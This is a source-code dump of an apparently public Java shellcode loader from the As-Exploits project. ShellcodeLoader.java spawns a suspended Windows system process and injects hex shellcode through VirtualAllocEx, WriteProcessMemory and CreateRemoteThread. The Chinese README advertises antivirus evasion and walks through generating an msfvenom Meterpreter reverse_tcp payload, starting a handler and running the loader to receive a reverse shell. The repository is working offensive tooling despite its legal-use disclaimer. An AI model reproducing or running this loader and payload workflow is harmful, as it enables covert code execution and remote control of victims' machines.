├── lib
└── tinyjna.jar
├── src
├── META-INF
│ └── MANIFEST.MF
└── main
│ ├── resources
│ └── assembly.xml
│ └── java
│ └── asexploits
│ └── ShellcodeLoader.java
├── README.assets
└── image-20211205205857990.png
├── .gitignore
├── README.md
└── pom.xml
/lib/tinyjna.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yzddmr6/Java-Shellcode-Loader/HEAD/lib/tinyjna.jar
--------------------------------------------------------------------------------
/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: asexploits.ShellcodeLoader
3 |
4 |
--------------------------------------------------------------------------------
/README.assets/image-20211205205857990.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yzddmr6/Java-Shellcode-Loader/HEAD/README.assets/image-20211205205857990.png
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Compiled class file
2 | *.class
3 |
4 | # Eclipse
5 | .project
6 | .classpath
7 | .settings/
8 |
9 | # Intellij
10 | *.ipr
11 | *.iml
12 | *.iws
13 | .idea/
14 | .vscode/
15 |
16 | # Maven
17 | target/
18 |
19 | # Gradle
20 | build
21 | .gradle
22 |
23 | # Log file
24 | *.log
25 | log/
26 |
27 | # out
28 | **/out/
29 |
30 | # Mac
31 | .DS_Store
32 |
33 | temp/
--------------------------------------------------------------------------------
/src/main/resources/assembly.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | jar-with-dependencies
4 |
5 |
6 | jar
7 |
8 |
9 | false
10 |
11 |
12 |
13 | /
14 | true
15 | true
16 | runtime
17 |
18 |
19 |
20 |
21 | /
22 | true
23 | true
24 | system
25 |
26 |
27 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## Java ShellCode Loader
2 |
3 | 基于Java实现的ShellCode加载器,兼容32位及64位平台。
4 |
5 | 核心原理是利用Jna来调用Windows API,实现shellcode的注入。
6 |
7 | 运行环境:Jre >= 1.5
8 |
9 | 注:本项目已经内置在[yzddmr6/As-Exploits](https://github.com/yzddmr6/As-Exploits)的ShellCodeLoader模块中。
10 |
11 | ## 编译
12 |
13 | maven package
14 |
15 | ## 使用
16 |
17 | 默认会随机注入32位进程,请使用32位的shellcode
18 |
19 | ```
20 | java -jar ShellcodeLoader.jar shellcode_hex
21 | ```
22 |
23 | 注入x64位shellcode
24 |
25 | ```
26 | java -jar ShellcodeLoader.jar --x64 shellcode_hex
27 | ```
28 |
29 | ## 举例
30 |
31 | ### kali
32 |
33 | 生成hex格式的ShellCode
34 |
35 | ```
36 | ┌──(root💀kali)-[~]
37 | └─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.10 LPORT=4444 -f hex
38 | [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
39 | [-] No arch selected, selecting arch: x86 from the payload
40 | No encoder specified, outputting raw payload
41 | Payload size: 354 bytes
42 | Final size of hex file: 708 bytes
43 | fce88f0000006089e531d2648b5....
44 | ```
45 |
46 | 然后开启监听
47 |
48 | ```
49 | msfconsole
50 | use exploit/multi/handler
51 | set PAYLOAD windows/meterpreter/reverse_tcp
52 | set LHOST 192.168.88.10
53 | set LPORT 4444
54 | exploit -j
55 | ```
56 |
57 | ### 客户端
58 |
59 | ```
60 | java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5....
61 | ```
62 |
63 | 即可收到反弹的Meterpreter
64 |
65 | ## 免杀
66 |
67 | 
68 |
69 | ## 注意事项
70 |
71 | 本项目仅供合法的渗透测试以及爱好者参考学习,请勿用于非法用途,否则自行承担相关责任。
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
5 | 4.0.0
6 |
7 | asexploits
8 | ShellcodeLoader
9 | 1.0-SNAPSHOT
10 |
11 | asexploits.ShellcodeLoader
12 | https://github.com/yzddmr6/As-Exploits
13 |
14 |
15 | UTF-8
16 | 1.5
17 | 1.5
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 | net.java.dev.jna
33 | jna-platform
34 | 1.2.0
35 | system
36 | ${project.basedir}/lib/tinyjna.jar
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 | maven-clean-plugin
45 | 3.1.0
46 |
47 |
48 |
49 | maven-resources-plugin
50 | 3.0.2
51 |
52 |
53 | maven-compiler-plugin
54 | 3.8.0
55 |
56 |
57 | maven-surefire-plugin
58 | 2.22.1
59 |
60 |
61 |
62 | maven-assembly-plugin
63 |
64 |
65 |
66 | asexploits.ShellcodeLoader
67 |
68 |
69 |
70 | src/main/resources/assembly.xml
71 |
72 |
73 |
74 |
75 | make-assemble
76 | package
77 |
78 | single
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
--------------------------------------------------------------------------------
/src/main/java/asexploits/ShellcodeLoader.java:
--------------------------------------------------------------------------------
1 | package asexploits;
2 |
3 | import com.sun.jna.Memory;
4 | import com.sun.jna.Native;
5 | import com.sun.jna.Pointer;
6 | import com.sun.jna.platform.win32.Kernel32;
7 | import com.sun.jna.platform.win32.WinBase;
8 | import com.sun.jna.platform.win32.WinDef;
9 | import com.sun.jna.platform.win32.WinNT;
10 | import com.sun.jna.platform.win32.WinNT.HANDLE;
11 | import com.sun.jna.ptr.IntByReference;
12 | import com.sun.jna.win32.StdCallLibrary;
13 | import com.sun.jna.win32.W32APIOptions;
14 |
15 | import java.io.File;
16 | import java.util.Random;
17 |
18 | public class ShellcodeLoader {
19 | static Kernel32 kernel32;
20 | static IKernel32 iKernel32;
21 | public static String[] ProcessArrayx32 = {"C:\\Windows\\SysWOW64\\ARP.exe", "C:\\Windows\\SysWOW64\\at.exe", "C:\\Windows\\SysWOW64\\auditpol.exe", "C:\\Windows\\SysWOW64\\bitsadmin.exe", "C:\\Windows\\SysWOW64\\bootcfg.exe", "C:\\Windows\\SysWOW64\\ByteCodeGenerator.exe", "C:\\Windows\\SysWOW64\\cacls.exe", "C:\\Windows\\SysWOW64\\CheckNetIsolation.exe", "C:\\Windows\\SysWOW64\\chkdsk.exe", "C:\\Windows\\SysWOW64\\choice.exe", "C:\\Windows\\SysWOW64\\cmdkey.exe", "C:\\Windows\\SysWOW64\\comp.exe", "C:\\Windows\\SysWOW64\\Dism.exe", "C:\\Windows\\SysWOW64\\esentutl.exe", "C:\\Windows\\SysWOW64\\expand.exe", "C:\\Windows\\SysWOW64\\fc.exe", "C:\\Windows\\SysWOW64\\find.exe", "C:\\Windows\\SysWOW64\\gpresult.exe"};
22 | public static String[] ProcessArrayx64 = {"C:\\Windows\\System32\\rundll32.exe", "C:\\Windows\\System32\\find.exe", "C:\\Windows\\System32\\fc.exe", "C:\\Windows\\System32\\ARP.EXE", "C:\\Windows\\System32\\expand.exe"};
23 |
24 | static {
25 | kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS);
26 | iKernel32 = (IKernel32) Native.loadLibrary("kernel32", IKernel32.class);
27 | }
28 |
29 |
30 | public static void main(String[] args) {
31 | ShellcodeLoader jnaLoader = new ShellcodeLoader();
32 | String shellcode = null;
33 | boolean is64 = false;
34 | switch (args.length) {
35 | case 1:
36 | is64 = false;
37 | shellcode = args[0];
38 | break;
39 | case 2:
40 | if ("--x64".equals(args[0])) {
41 | is64 = true;
42 | }
43 | shellcode = args[1];
44 | break;
45 | default:
46 | System.out.println("Usage: java -jar ShellcodeLoader.jar shellcode_hex \n" +
47 | "注入x64位shellcode: Usage: java -jar ShellcodeLoader.jar --x64 shellcode_hex");
48 | System.exit(1);
49 | break;
50 | }
51 |
52 |
53 | System.out.println("\nShellcode: \n" + shellcode);
54 | jnaLoader.loadShellCode(shellcode, is64);
55 | }
56 |
57 | public void loadShellCode(String shellcodeHex) {
58 | this.loadShellCode(shellcodeHex, false);
59 | }
60 |
61 | public void loadShellCode(String shellcodeHex, boolean is64) {
62 |
63 | String[] targetProcessArray = null;
64 | //打乱数组顺序
65 | shuffleArray(ProcessArrayx64);
66 | shuffleArray(ProcessArrayx32);
67 | // java是64位且选择注入64位shellcode
68 | if (System.getProperty("sun.arch.data.model").equals("64") && is64) {
69 | targetProcessArray = mergeArrays(ProcessArrayx64, ProcessArrayx32);
70 | } else { //默认注入32位进程
71 | targetProcessArray = mergeArrays(ProcessArrayx32, ProcessArrayx64);
72 | }
73 | String targetProcess = null;
74 | for (int i = 0; i < targetProcessArray.length; i++) {
75 | targetProcess = targetProcessArray[i];
76 | if (new File(targetProcess).exists()) {
77 | break;
78 | }
79 | }
80 | this.loadShellCode(shellcodeHex, targetProcess);
81 |
82 | }
83 |
84 | public static void shuffleArray(String[] arr) {
85 | Random rand = new Random();
86 | for (int i = arr.length - 1; i > 0; i--) {
87 | int index = rand.nextInt(i + 1);
88 | String temp = arr[i];
89 | arr[i] = arr[index];
90 | arr[index] = temp;
91 | }
92 | }
93 |
94 | public static String[] mergeArrays(String[] a, String[] b) {
95 | String[] c = new String[a.length + b.length];
96 | int i = 0;
97 | for (String s : a) {
98 | c[i] = s;
99 | i++;
100 | }
101 | for (String s : b) {
102 | c[i] = s;
103 | i++;
104 | }
105 | return c;
106 | }
107 |
108 | public void loadShellCode(String shellcodeHex, String targetProcess) {
109 | System.out.println("targetProcess: " + targetProcess);
110 | byte[] shellcode = hexStrToByteArray(shellcodeHex);
111 | int shellcodeSize = shellcode.length;
112 | IntByReference intByReference = new IntByReference(0);
113 | Memory memory = new Memory((long) shellcodeSize);
114 |
115 | for (int j = 0; j < shellcodeSize; ++j) {
116 | memory.setByte((long) j, shellcode[j]);
117 | }
118 |
119 | WinBase.PROCESS_INFORMATION pROCESS_INFORMATION = new WinBase.PROCESS_INFORMATION();
120 | WinBase.STARTUPINFO sTARTUPINFO = new WinBase.STARTUPINFO();
121 | sTARTUPINFO.cb = new WinDef.DWORD((long) pROCESS_INFORMATION.size());
122 | if (kernel32.CreateProcess(targetProcess, (String) null, (WinBase.SECURITY_ATTRIBUTES) null, (WinBase.SECURITY_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, sTARTUPINFO, pROCESS_INFORMATION)) {
123 | Pointer pointer = iKernel32.VirtualAllocEx(pROCESS_INFORMATION.hProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64);
124 | iKernel32.WriteProcessMemory(pROCESS_INFORMATION.hProcess, pointer, memory, shellcodeSize, intByReference);
125 | HANDLE hANDLE = iKernel32.CreateRemoteThread(pROCESS_INFORMATION.hProcess, (Object) null, 0, pointer, 0, 0, (Object) null);
126 | kernel32.WaitForSingleObject(hANDLE, -1);
127 | }
128 | }
129 |
130 |
131 | public static byte[] hexStrToByteArray(String str) {
132 | if (str == null) {
133 | return null;
134 | } else if (str.length() == 0) {
135 | return new byte[0];
136 | } else {
137 | byte[] byteArray = new byte[str.length() / 2];
138 |
139 | for (int i = 0; i < byteArray.length; ++i) {
140 | String subStr = str.substring(2 * i, 2 * i + 2);
141 | byteArray[i] = (byte) Integer.parseInt(subStr, 16);
142 | }
143 |
144 | return byteArray;
145 | }
146 | }
147 |
148 | interface IKernel32 extends StdCallLibrary {
149 | Pointer VirtualAlloc(Pointer var1, int var2, int var3, int var4);
150 |
151 | HANDLE CreateThread(Object var1, int var2, Pointer var3, int var4, int var5, Object var6);
152 |
153 | Pointer VirtualAllocEx(HANDLE var1, Pointer var2, int var3, int var4, int var5);
154 |
155 | HANDLE CreateRemoteThread(HANDLE var1, Object var2, int var3, Pointer var4, int var5, int var6, Object var7);
156 |
157 | boolean WriteProcessMemory(WinNT.HANDLE param1HANDLE, Pointer param1Pointer1, Pointer param1Pointer2, int param1Int, IntByReference param1IntByReference);
158 |
159 | boolean ReadProcessMemory(Pointer var1, int var2, Pointer var3, int var4, IntByReference var5);
160 |
161 | int VirtualQueryEx(Pointer var1, Pointer var2, Pointer var3, int var4);
162 |
163 | Pointer OpenProcess(int var1, boolean var2, int var3);
164 |
165 | Pointer GetCurrentProcess();
166 | }
167 | }
168 |
--------------------------------------------------------------------------------